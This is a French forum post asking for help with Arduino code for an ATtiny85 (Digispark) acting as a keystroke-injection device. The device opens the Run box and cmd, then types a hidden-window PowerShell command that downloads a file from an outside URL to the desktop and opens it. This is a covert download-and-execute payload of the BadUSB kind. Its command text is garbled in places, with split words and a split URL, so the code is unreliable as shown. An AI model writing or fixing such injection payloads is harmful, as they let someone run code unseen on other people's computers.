Bonjour,
J'ai en ma possession un Atinny85 et j'aimerais créer un petit code téléchargeant un fichier sur internet et l'éxécutant. Cependant, je suis dans une impasse : soit mon code arduino est bon, est il éxécute correctement ce que j'ai demandé, mais la requete powershell est fausse, ou quand j'arrive à rendre la requete powershell bonne, arduino n'approuve pas et ne téléverse donc pas mon programme.
Je vous joint le programme en question.
Avez vous des iddées pour régler ceci?
Bonne soirée, et merci d'avance
#include "DigiKeyboard.h"
void setup() {
pinMode(1, OUTPUT); //LED on Model A
}
void loop() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY _R, MOD_GUI_LEFT); //run
DigiKeyboard.delay(100);
DigiKeyboard.println("cmd"); //smallest window possible
DigiKeyboard.delay(5000);
DigiKeyboard.println(F("powers hell -windowstyle hidden -command (New-Object System.Net.WebClient).Download File('https://www.google.com/url?sa=i&url=https%3A%2F%2Ffr. freepik.com%2Fphotos-vecteurs-libre%2Fimag&psig=AOvVaw12Oemm dz_kemMZbJb--1x2&ust=1698594198927000&sourc e=images&cd=vfe&opi=89978449&v ed=0CBEQjRxqFwoTCNj0gNCKmYIDFQ AAAAAdAAAAABAo', '$env:UserProfile\\desktop\\te st.jpeg'); Invoke-Item $env:UserProfile\\desktop\\tes t.jpeg"));
DigiKeyboard.delay(500);
digitalWrite(1, HIGH); //turn on LED when program finishes
DigiKeyboard.delay(90000);
digitalWrite(1, LOW);
DigiKeyboard.delay(5000);
}
-----